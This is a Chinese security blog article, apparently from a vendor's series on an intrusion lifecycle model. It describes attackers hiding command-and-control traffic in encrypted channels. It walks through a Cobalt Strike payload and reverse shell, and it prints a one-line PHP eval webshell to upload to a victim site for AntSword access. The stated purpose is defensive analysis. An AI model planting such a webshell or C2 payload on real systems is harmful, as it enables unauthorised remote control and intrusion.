《入侵生命周期细分实践指南系列》:加密通道攻击

admin 2022年9月23日13:46:48安全闲碎评论0 views1899字阅读6分19秒阅读模式

美创科技为了更好地进行入侵检测和防御,参照各种安全威胁框架和自身的实践与思考,提出了基于入侵生命周期的攻击管理模型,作为美创新一代安全架构的三大支柱之一。

入侵生命周期v1.0把入侵过程划分为7个阶段:探索发现、入侵和感染、探索感知、传播、持久化、攻击和利用、恢复。入侵生命周期v1.0同样以ATT&CK作为基本战术知识库,匹配到不同的入侵阶段。需要注意的是,并非所有的入侵都会经历这7个阶段,也没有绝对的线性次序。

1)探索发现

在这个阶段中,攻击者会先锁定攻击对象,然后利用某些技术手段,尽可能多地获取目标暴露出来的信息,如通过端口扫描、指纹探测等方式,发现敏感端口及版本信息,进而寻找攻击点,为下一步入侵做准备。

2)入侵和感染

在这个阶段,攻击者会根据“探索发现”阶段所发现的重要信息,来对目标暴露出的攻击面进行攻击尝试,在“探索发现”阶段收集到的信息越多,攻击对象所暴露的攻击面也就越多,攻击更易成功。

3)探索感知

攻击者在成功进入系统内部后,由于是首次进入所以会出现对内部环境不熟悉的情况,这时攻击者的动作一般会是对当前所处环境进行探索,摸清内部大致的网络结构,常常伴随着被入侵本机的敏感信息收集以及对内网大量的端口进行扫描,后续根据攻击者的目的进行下一步操作。

4)传播

在此阶段,攻击者根据上一阶段在内网探索感知收集到的信息,选择特定的攻击手法。如若发现内部是域环境,攻击者可能会尝试先攻破域控服务器,再传播其他机器。若是工作组环境,可能会利用收集到的端口和服务信息,选择特定漏洞进行批量扫描攻击,来尽可能多地继续获得其他计算机的控制权。

5)持久化

攻击者在对资产进行恶意操作后,为了能够减少再次连接的攻击成本,方便下次进入,会进行“留后门”的操作,常见的后门如:建立计划任务,定时连接远程服务器;设置开机启动程序,在每次开机时触发执行特定恶意程序;新建系统管理员账号等。这样便于攻击者下次快速登录并控制该系统。

6)攻击和利用

攻击者在此阶段便会开始对目标资产进行恶意操作,按照攻击者意愿,对能利用的数据进行窃取、利用;对操作系统、敏感文件进行破坏、删除。所有的防御手段都应该极力阻止攻击者进行到这一阶段。

7)恢复

攻击者在执行所有的攻击操作时,往往会在系统上留下大量的行为日志,因此在这一阶段,攻击者会对记录自身痕迹的所有日志进行处理,或删除或混淆,从而消灭证据,逃避追踪。

本系列文章基于美创科技入侵生命周期1.0架构,细分各阶段攻击者的常用攻击手段,并对相关攻击手段的具体实施方式进行逐一剖析,为安全防御建设提供有力知识补充和反制准备。


加密通道攻击(攻击和利用)

在渗透过程中,攻击者为了躲避安全产品和人为检测,经常使用加密的方式来伪装或者隐藏攻击行为。例如,攻击者可能会通过CobaltStrike、冰蝎、哥斯拉等恶意软件来构建加密通道,以此来对交互的流量以及执行的命令进行加密,使得统的 WAF、IDS 设备难以检测。

根据攻击者的入侵流程和操作手段,通过构建加密通道可以帮助攻击者躲避相关的安全检测及限制,并执行任意命令,以完成针对目标资产的各种恶意操作。因此,从入侵生命周期角度分析,间接命令执行可被攻击者用于攻击和利用阶段。

从攻击行为链条的上下文来看,针对攻击者采用加密通道的行为链条输入输出如下。

输入:恶意软件的签名及证书、执行的命令、恶意软件使用的加密算法、流量的来源ip

输出:加密后的流量及命令


针对加密通道的使用,目前主要有以下几种常用手段:

1.使用cobaltstrike来隐藏命令和控制流量

(1)cobaltstrike服务端启动

《入侵生命周期细分实践指南系列》:加密通道攻击

(2)cobaltstrike客户端启动

java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar

《入侵生命周期细分实践指南系列》:加密通道攻击

(3)创建有效负载格式为exe

《入侵生命周期细分实践指南系列》:加密通道攻击 
《入侵生命周期细分实践指南系列》:加密通道攻击
《入侵生命周期细分实践指南系列》:加密通道攻击

(4)将有效负载artifact.exe传至被攻击机获得反弹shell

《入侵生命周期细分实践指南系列》:加密通道攻击

(5)执行命令

《入侵生命周期细分实践指南系列》:加密通道攻击

(6)通过wiresheark对网络流量进行抓包分析,如下图,可以看出cobaltstrike对执行的命令及网络流量进行了加密。

《入侵生命周期细分实践指南系列》:加密通道攻击

2.使用蚁剑来隐藏命令和控制流量

(1)创建一个php,具体代码如下:

<?php @eval($_GET['joker']);?>

(2)在受害者web页面中找到上传点,并上传

《入侵生命周期细分实践指南系列》:加密通道攻击

(3)并用中国蚁剑进行连接,就可以得到这个服务器的Webshell

《入侵生命周期细分实践指南系列》:加密通道攻击
《入侵生命周期细分实践指南系列》:加密通道攻击

(4)在蚁剑中打开系统终端,执行系统命令

《入侵生命周期细分实践指南系列》:加密通道攻击

(5)通过Burpsuite进行抓包分析,如下图,可以看出蚁剑采用了加密的手法来隐藏执行的命令。

《入侵生命周期细分实践指南系列》:加密通道攻击


《入侵生命周期细分实践指南系列》:加密通道攻击


《入侵生命周期细分实践指南系列》:加密通道攻击

原文始发于微信公众号(第59号):《入侵生命周期细分实践指南系列》:加密通道攻击

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月23日13:46:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  《入侵生命周期细分实践指南系列》:加密通道攻击 http://cn-sec.com/archives/1312705.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: